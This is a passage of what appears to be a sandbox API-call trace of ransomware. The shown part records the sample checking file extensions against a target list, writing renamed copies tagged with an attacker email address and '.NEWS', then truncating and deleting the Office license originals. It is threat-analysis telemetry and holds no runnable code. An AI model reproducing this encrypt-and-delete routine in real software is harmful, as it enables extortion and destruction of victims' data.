Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString=".1cd") returned 4 [0189.255] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString=".jpg") returned 4 [0189.255] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString=".doc") returned 4 [0189.255] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".docx") returned 5 [0189.255] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.255] lstrlenW (lpString=".pdf") returned 4 [0189.255] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".xls") returned 4 [0189.255] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".xlsx") returned 5 [0189.255] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.255] lstrlenW (lpString=".ppt") returned 4 [0189.255] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString=".zip") returned 4 [0189.255] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".rar") returned 4 [0189.255] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".bz2") returned 4 [0189.255] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString=".7z") returned 3 [0189.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.256] lstrlenW (lpString=".dbf") returned 4 [0189.256] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.256] lstrlenW (lpString=".1cd") returned 4 [0189.256] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.256] lstrlenW (lpString=".jpg") returned 4 [0189.256] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.256] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.256] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24 [0189.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.257] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=26462) returned 1 [0189.257] CloseHandle (hObject=0x2e4) returned 1 [0189.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0189.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.257] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.257] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.258] GetLastError () returned 0x0 [0189.258] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x675e, lpOverlapped=0x0) returned 1 [0189.261] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x6760, lpOverlapped=0x0) returned 1 [0189.262] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.262] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x104, lpOverlapped=0x0) returned 1 [0189.263] SetEndOfFile (hFile=0x2e8) returned 1 [0189.263] CloseHandle (hObject=0x2e8) returned 1 [0189.263] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.263] SetEndOfFile (hFile=0x2e4) returned 1 [0189.266] CloseHandle (hObject=0x2e4) returned 1 [0189.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1 [0189.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.267] lstrlenW (lpString=".doc") returned 4 [0189.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.267] lstrlenW (lpString=".docx") returned 5 [0189.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.267] lstrlenW (lpString=".pdf") returned 4 [0189.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".xls") returned 4 [0189.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".xlsx") returned 5 [0189.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.268] lstrlenW (lpString=".ppt") returned 4 [0189.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString=".zip") returned 4 [0189.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".rar") returned 4 [0189.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".bz2") returned 4 [0189.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".7z") returned 3 [0189.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString=".dbf") returned 4 [0189.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString=".1cd") returned 4 [0189.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString=".jpg") returned 4 [0189.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.268] lstrlenW (lpString=".doc") returned 4 [0189.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".docx") returned 5 [0189.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.268] lstrlenW (lpString=".pdf") returned 4 [0189.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.268] lstrlenW (lpString=".xls") returned 4 [0189.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString=".xlsx") returned 5 [0189.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.269] lstrlenW (lpString=".ppt") returned 4 [0189.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.269] lstrlenW (lpString=".zip") returned 4 [0189.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString=".rar") returned 4 [0189.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString=".bz2") returned 4 [0189.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString=".7z") returned 3 [0189.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.269] lstrlenW (lpString=".dbf") returned 4 [0189.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.269] lstrlenW (lpString=".1cd") returned 4 [0189.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0189.269] lstrlenW (lpString=".jpg") returned 4 [0189.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.269] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.269] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27 [0189.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.270] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11574) returned 1 [0189.270] CloseHandle (hObject=0x2e4) returned 1 [0189.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0189.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.271] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.271] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.272] GetLastError () returned 0x0 [0189.272] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0189.565] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0189.567] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.567] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10a, lpOverlapped=0x0) returned 1 [0189.567] SetEndOfFile (hFile=0x2e8) returned 1 [0189.567] CloseHandle (hObject=0x2e8) returned 1 [0189.567] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.567] SetEndOfFile (hFile=0x2e4) returned 1 [0189.570] CloseHandle (hObject=0x2e4) returned 1 [0189.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1 [0189.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.571] lstrlenW (lpString=".doc") returned 4 [0189.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".docx") returned 5 [0189.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.572] lstrlenW (lpString=".pdf") returned 4 [0189.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".xls") returned 4 [0189.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".xlsx") returned 5 [0189.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.572] lstrlenW (lpString=".ppt") returned 4 [0189.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString=".zip") returned 4 [0189.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".rar") returned 4 [0189.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".bz2") returned 4 [0189.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString=".7z") returned 3 [0189.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString=".dbf") returned 4 [0189.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString=".1cd") returned 4 [0189.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString=".jpg") returned 4 [0189.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.572] lstrlenW (lpString=".doc") returned 4 [0189.573] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".docx") returned 5 [0189.573] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.573] lstrlenW (lpString=".pdf") returned 4 [0189.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".xls") returned 4 [0189.573] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".xlsx") returned 5 [0189.573] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.573] lstrlenW (lpString=".ppt") returned 4 [0189.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.573] lstrlenW (lpString=".zip") returned 4 [0189.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".rar") returned 4 [0189.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".bz2") returned 4 [0189.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString=".7z") returned 3 [0189.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.573] lstrlenW (lpString=".dbf") returned 4 [0189.573] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.573] lstrlenW (lpString=".1cd") returned 4 [0189.573] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0189.573] lstrlenW (lpString=".jpg") returned 4 [0189.573] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.574] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.574] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28 [0189.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.575] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11591) returned 1 [0189.575] CloseHandle (hObject=0x2e4) returned 1 [0189.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0189.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.575] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.576] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.576] GetLastError () returned 0x0 [0189.576] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0189.578] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0189.579] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.579] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10c, lpOverlapped=0x0) returned 1 [0189.580] SetEndOfFile (hFile=0x2e8) returned 1 [0189.580] CloseHandle (hObject=0x2e8) returned 1 [0189.580] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.580] SetEndOfFile (hFile=0x2e4) returned 1 [0189.784] CloseHandle (hObject=0x2e4) returned 1 [0189.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1 [0189.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.789] lstrlenW (lpString=".doc") returned 4 [0189.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.789] lstrlenW (lpString=".docx") returned 5 [0189.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.790] lstrlenW (lpString=".pdf") returned 4 [0189.790] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString=".xls") returned 4 [0189.790] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString=".xlsx") returned 5 [0189.790] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.790] lstrlenW (lpString=".ppt") returned 4 [0189.790] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.790] lstrlenW (lpString=".zip") returned 4 [0189.790] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString=".rar") returned 4 [0189.790] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString=".bz2") returned 4 [0189.790] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString=".7z") returned 3 [0189.790] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.790] lstrlenW 